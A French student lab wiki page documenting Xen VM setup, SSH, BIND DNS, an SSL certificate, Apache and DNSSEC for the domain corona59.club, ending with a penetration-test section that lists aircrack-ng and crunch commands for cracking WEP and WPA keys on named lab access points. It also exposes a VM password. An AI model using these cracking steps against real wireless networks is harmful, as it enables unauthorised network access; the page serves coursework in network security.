Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
